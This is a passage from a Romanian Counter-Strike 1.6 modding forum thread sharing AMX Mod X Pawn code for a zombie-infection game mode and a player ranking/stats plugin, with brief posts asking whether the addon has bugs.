            write_byte(64)
            write_byte(180)
            write_byte(255)
            message_end()				
            set_health(iAttacker, get_health(iAttacker) + 500);
            set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 13, 250, 0, 0);
			g_cClass[iVictim] = "Nemesis"
		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"
		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
		}
		else
		{
		    set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		    EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
		    set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
		    if (iAttacker)
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
		    else
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
	}
	if (get_team(iVictim) != 1)
	{
		set_team(iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iVictim + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
    }
	if (g_iPlayerType[iVictim] & 1)
	{
		message_begin(MSG_ONE, get_user_msgid("SetFOV"), _, iVictim)
		write_byte(110)
		message_end()
		set_monster(iVictim, 1);
	}
	send_damage(iVictim, 1);
	send_implosion(iVictim);
	InfectionEffects(iVictim);
	Task_EnableFlash(iVictim);
	strip_user_weapons(iVictim);
	reset_armor(iVictim);
	give_item(iVictim, "weapon_knife");
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 250, 0);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	set_zombie(iPlayer, 0);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_item(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		g_cClass[iPlayer] = "Survivor";
		set_health(iPlayer, 3000);
		give_item(iPlayer, "weapon_m4a1");
		cs_set_user_bpammo(iPlayer, 22, 9999);
		give_item(iPlayer, "weapon_ak47");
		cs_set_user_bpammo(iPlayer, 28, 9999);
		give_item(iPlayer, "weapon_xm1014");
		cs_set_user_bpammo(iPlayer, 5, 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_item(iPlayer, "weapon_hegrenade");
		}
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		g_cClass[iPlayer] = "Sniper";
		set_health(iPlayer, 3000);
		give_item(iPlayer, "weapon_awp");
		cs_set_user_bpammo(iPlayer, 18, 9999);
		set_glow(iPlayer, 19, 13, 200, 200, 0);
	}
	else
	{
		set_health(iPlayer, 150);
		menu_display(iPlayer, g_iPrimaryMenu, 0);
		send_teleport(iPlayer);
		client_cmd(iPlayer, "spk zombie_plague/antidote");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
	}
	if (get_team(iPlayer) != 2)
	{
		set_team(iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iPlayer + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
	return iPlayers[random_num(0, j + -1)];
}*/

GetCTs()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_team(i) == 2)
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetTs()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_team(i) == 1)
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cInternetProtocolAddress[iPlayer], g_cAddresses[iLast], 0))
		{
			copy(g_cNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cInternetProtocolAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

public SQLLoadedRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	g_bRanked[str_to_num(cData)] = 1;
	show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
	return 0;
}

stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
{
	if ( id && !is_user_connected ( id ) ) return 0;
	
	if ( iColor > print_team_grey ) iColor = print_team_default;
	
	new Message [192];
	
	if ( iColor == print_team_default )
		
	Message [0] = 0x04;
	else
		Message [0] = 0x03;
	
	
	new iParams = numargs (  )
	
	if ( id )
	{
		if ( iParams == 3 )
			
		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
		
		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );
			
			SendTeamInfo ( id, id, TeamName [iColor] );
			
			SendSayText ( id, id, Message );
			
			SendTeamInfo ( id, id, GetTeam );
		}
		else
			SendSayText ( id, id, Message );
	} 
	else
	{
		new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );
		
		if ( !iNum ) return 0;
		
		new iFool = iPlayers [0];
		
		if ( iParams == 3 )
			
		copy ( Message [1], charsmax ( Message ) -1, Msg );
		else
			vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
		
		if ( iColor )
		{
			new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );
			
			SendTeamInfo ( 0, iFool, TeamName [iColor] );
			
			SendSayText ( 0, iFool, Message);
			
			SendTeamInfo ( 0, iFool, GetTeam );
		}
		else
			SendSayText ( 0, iFool, Message );
	}
	
	return 1;
}

stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
{
	static iTeamInfo = 0;
	
	if ( !iTeamInfo )
		
	iTeamInfo = get_user_msgid ( "TeamInfo" );
	
	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );
	
	write_byte ( iPlayerId );
	
	write_string ( GetTeam );
	
	message_end (  );
}

stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
{
	static iSayText = 0;
	
	if ( !iSayText )
		
	iSayText = get_user_msgid ( "SayText" );
	
	message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );
	
	write_byte ( iPlayerId );
	
	write_string ( Message );
	
	message_end (  );
}
oricum are vreun bug addons-ul asta ? (cel pus de tine acum)
hmm sma asta este vechi :D
tot facut de mine
dar codul este original dupa cel de la outstanding
User avatar
Rainq
Super moderator
Super moderator
Posts: 2700
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Super Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 5 times
Been thanked: 23 times
Contact:

27 Sep 2019, 16:25

asta ce vrea sa fie ?

Code: Select all

#include zombie_plague
#include hamsandwich
#include float
#include csstats


#pragma compress 1
#pragma dynamic 8000000
#pragma tabsize 0


#define HartiMaxime   10

#define fm_cs_set_weapon_ammo(%1,%2) set_pdata_int(%1, 51, %2, 4)

const NOCLIP_WPN_BS = ((1<<CSW_HEGRENADE)|(1<<CSW_SMOKEGRENADE)|(1<<CSW_FLASHBANG)|(1<<CSW_KNIFE)|(1<<CSW_C4))

new jumpnum[33] = 0
new bool:dojump[33] = false
new NumeHarti[HartiMaxime][34]


new const g_MaxClipAmmo[] = 
{
    0,
    13, //CSW_P228
    0,
    10, //CSW_SCOUT
    0,  //CSW_HEGRENADE
    7,  //CSW_XM1014
    0,  //CSW_C4
    30,//CSW_MAC10
    30, //CSW_AUG
    0,  //CSW_SMOKEGRENADE
    15,//CSW_ELITE
    20,//CSW_FIVESEVEN
    25,//CSW_UMP45
    30, //CSW_SG550
    35, //CSW_GALIL
    25, //CSW_FAMAS
    12,//CSW_USP
    20,//CSW_GLOCK18
    10, //CSW_AWP
    30,//CSW_MP5NAVY
    100,//CSW_M249
    8,  //CSW_M3
    30, //CSW_M4A1
    30,//CSW_TMP
    20, //CSW_G3SG1
    0,  //CSW_FLASHBANG
    7,  //CSW_DEAGLE
    30, //CSW_SG552
    30, //CSW_AK47
    0,  //CSW_KNIFE
    50//CSW_P90
}

enum 
{
	INT_STATS_KILLS = 0,
	INT_STATS_DEATHS,
	INT_STATS_HS,
	INT_STATS_TKS,
	INT_STATS_SHOTS,
	INT_STATS_HITS,
	INT_STATS_DAMAGE
};

enum 
{
	INT_STATS_BOMB_DEFUSIONS = 0,
	INT_STATS_BOMB_DEFUSED,
	INT_STATS_BOMB_PLANTS,
	INT_STATS_BOMB_EXPLOSIONS
};

enum 
{
	INT_STATS_HIT_GENERIC = 0,
	INT_STATS_HIT_HEAD,
	INT_STATS_HIT_CHEST,
	INT_STATS_HIT_STOMACH,
	INT_STATS_HIT_LEFTARM,
	INT_STATS_HIT_RIGHTARM,
	INT_STATS_HIT_LEFTLEG,
	INT_STATS_HIT_RIGHTLEG
};

public plugin_init( ) 
{
	register_clcmd("say", "CLIENT_COMMAND_HOOK");
	register_clcmd("say_team", "CLIENT_COMMAND_HOOK");
	
    register_clcmd("say /harti", "HartiJucateCuSay")
    register_clcmd("say /last", "HartiJucateCuSay")
    register_clcmd("say /lastmaps", "HartiJucateCuSay")	
	
	register_event("CurWeapon" , "Event_CurWeapon" , "be" , "1=1");
}

public client_putinserver( id )
{
    if( is_user_bot( id ) ) return
    set_task(8.0, "go_info", id )
	jumpnum[id] = 0
	dojump[id] = false	
}

public client_disconnect(id)
{
	jumpnum[id] = 0
	dojump[id] = false
}


public go_info(id)
{
    new stats[ 8 ], body[ 8 ], name[ 32 ], cHostname[513];
    new rank_pos = get_user_stats( id, stats, body )
    new rank_max = get_statsnum( )
    static cBuffer[513];
    get_user_name( id, name, 31 )	
    get_cvar_string("hostname", cHostname, 512);
	formatex(cBuffer, 512, "Welcome, %s^nWe hope you enjoy you stay here!^n^n%s^n^nYour rank is %d from %d", name, cHostname, rank_pos, rank_max);
	show_glow_message(id, cBuffer, 40960, 0.02, 0.21, 10.0);
	return 0;
}

public CLIENT_COMMAND_HOOK( INT_PLAYER ) 
{
	static STRING_ARGUMENT[ 11 ];
	read_argv( 1, STRING_ARGUMENT, charsmax( STRING_ARGUMENT ) );
	
	// TOP
	if( equali( STRING_ARGUMENT, "top", 3 ) || equali( STRING_ARGUMENT, "/top", 4 ) ) 
	{
		new HANDLE_MENU = menu_create( "Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static KillString[16], DeathString[16];
		
			AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
			AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wKills: \r%s \wDeaths: \r%s", STRING_NAME, INT_VARIABLE2 + 1, \
			KillString, DeathString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// RANK
	if( equali( STRING_ARGUMENT, "rank" ) || equali( STRING_ARGUMENT, "/rank" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_name( INT_PLAYER, STRING_NAME, charsmax( STRING_NAME ) );
		
		static RankString[16], StatsString[16], DeathString[16], KillString[16];

		AddCommas(INT_RANK_POS, RankString, 15);
		AddCommas(get_statsnum( ), StatsString, 15);
		AddCommas(STRING_STATS[ INT_STATS_KILLS ], DeathString, 15);
		AddCommas(STRING_STATS[ INT_STATS_DEATHS ], KillString, 15);
		
		ColorChat( 0, "^x01Player^x03 %s^x01's rank is^x04 %s^x01/^x04%s^x01 with^x03 %s^x01 kills and^x03 %s^x01 deaths", STRING_NAME, \
		RankString, StatsString, DeathString, KillString );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATSME
	if( equali( STRING_ARGUMENT, "statsme" ) || equali( STRING_ARGUMENT, "/statsme" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_stats2( INT_PLAYER, STRING_STATS2 );
		
		new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
		
		static RankString[16];
		AddCommas(INT_RANK_POS, RankString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%s", RankString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
		
		static KillString[16];
		AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%s", KillString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
		
		static DeathString[16];
		AddCommas(STRING_STATS[ INT_STATS_DEATHS ], DeathString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%s", DeathString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
		
		static HeadString[16];
		AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%s", HeadString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
		
		static TeamKillString[16];
		AddCommas(STRING_STATS[ INT_STATS_TKS ], TeamKillString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%s", TeamKillString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
		
		static ShotString[16];
		AddCommas(STRING_STATS[ INT_STATS_SHOTS ], ShotString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%s", ShotString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
		
		static HitString[16];
		AddCommas(STRING_STATS[ INT_STATS_HITS ], HitString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%s", HitString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
		
		static DamageString[16];
		AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%s", DamageString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
		
		static DefusionString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ], DefusionString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%s", DefusionString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
		
		static BDString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_DEFUSED ], BDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%s", BDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
		
		static BPString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_PLANTS ], BPString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%s", BPString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
		
		static BEString[16];
		AddCommas(STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ], BEString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%s", BEString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
		
		static HDString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_HEAD ], HDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%s", HDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
		
		static CHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_CHEST ], CHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%s", CHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
		
		static STString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_STOMACH ], STString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%s", STString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
		
		static LFString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTARM ], LFString, 15);

		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%s", LFString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
		
		static RHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTARM ], RHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%s", RHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
		
		static LHString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_LEFTLEG ], LHString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%s", LHString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
		
		static RHDString[16];
		AddCommas(STRING_BODY[ INT_STATS_HIT_RIGHTLEG ], RHDString, 15);
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%s", RHDString );
		menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATS
	if( equali( STRING_ARGUMENT, "stats" ) || equali( STRING_ARGUMENT, "/stats" ) ) 
	{
		new STRING_NAME[ 32 ], STRING_TEMP_NUM[ 4 ];
		new HANDLE_MENU = menu_create( "Choose the player", "FUNC_MENU_STATS_HANDLER" );
		
		for( new id = 1; id <= 32; id++ ) 
		{
			if( is_user_connected( id ) ) 
			{
				get_user_name( id, STRING_NAME, charsmax( STRING_NAME ) );
				
				num_to_str( id, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
				
				menu_additem( HANDLE_MENU, STRING_NAME, STRING_TEMP_NUM, 0 );
			}
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// DAMAGE
	if( equali( STRING_ARGUMENT, "damage" ) || equali( STRING_ARGUMENT, "/damage" ) || equali( STRING_ARGUMENT, "/dmg" ) || equali( STRING_ARGUMENT, "dmg" ) ) {
		new HANDLE_MENU = menu_create( "Damage Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static DamageString[16];
			AddCommas(STRING_STATS[ INT_STATS_DAMAGE ], DamageString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wDamage: \r%s%", \
			STRING_NAME, INT_VARIABLE2 + 1, DamageString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// HEADSHOTS
	if( equali( STRING_ARGUMENT, "headshots" ) || equali( STRING_ARGUMENT, "/headshots" ) || equali( STRING_ARGUMENT, "/hs" ) ) 
	{
		new HANDLE_MENU = menu_create( "Headshots Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			static HeadString[16];
			AddCommas(STRING_STATS[ INT_STATS_HS ], HeadString, 15);
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wHeadshots: \r%i", \
			STRING_NAME, INT_VARIABLE2 + 1, HeadString );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// EFFECT
	if( equali( STRING_ARGUMENT, "effect" ) || equali( STRING_ARGUMENT, "/effect" ) ) 
	{
		new HANDLE_MENU = menu_create( "Effects Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < 360 )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = 360;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wEffect: \r%2.f%", STRING_NAME, INT_VARIABLE2 + 1, \
			float( STRING_STATS[ INT_STATS_KILLS ] ) * 1.002 / float( STRING_STATS[ INT_STATS_DEATHS ] ) * 1.002 * 30.346647 );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, 4, "Exit" );
		menu_setprop( HANDLE_MENU, 3, "Next" );
		menu_setprop( HANDLE_MENU, 2, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
}

public FUNC_MENU_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM )
	return 1;

public FUNC_MENU_STATS_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM )
 {
	new STRING_COMMAND[ 6 ], STRING_NAME[ 64 ], INT_ACCESS, INT_CALLBACK, INT_VICTIM;
	menu_item_getinfo( INT_MENU, INT_ITEM, INT_ACCESS, STRING_COMMAND, charsmax( STRING_COMMAND ), STRING_NAME, charsmax( STRING_NAME ), INT_CALLBACK );
	INT_VICTIM = get_user_index( STRING_NAME );
	
	if( is_user_connected( INT_VICTIM ) )
		FUNC_STATS_ME( INT_PLAYER, INT_VICTIM );
	
	else {
		ColorChat( INT_PLAYER, "^x01The player you choosed is disconnected!" );
		return 1;
	}
	
	return 1;
}

public FUNC_STATS_ME( INT_PLAYER, VICTIM ) 
{
	new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ], STRING_NAME[ 32 ];
	INT_RANK_POS = get_user_stats( VICTIM, STRING_STATS, STRING_BODY );
	get_user_stats2( VICTIM, STRING_STATS2 );
	get_user_name( VICTIM, STRING_NAME, charsmax( STRING_NAME ) );
	
	new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wUser: \r%s", STRING_NAME );
	menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
	
	static RankString[16];
	AddCommas(INT_RANK_POS, RankString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%i", RankString );
	menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
	
	static KillString[16];
	AddCommas(STRING_STATS[ INT_STATS_KILLS ], KillString, 15);
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%i", KillString );
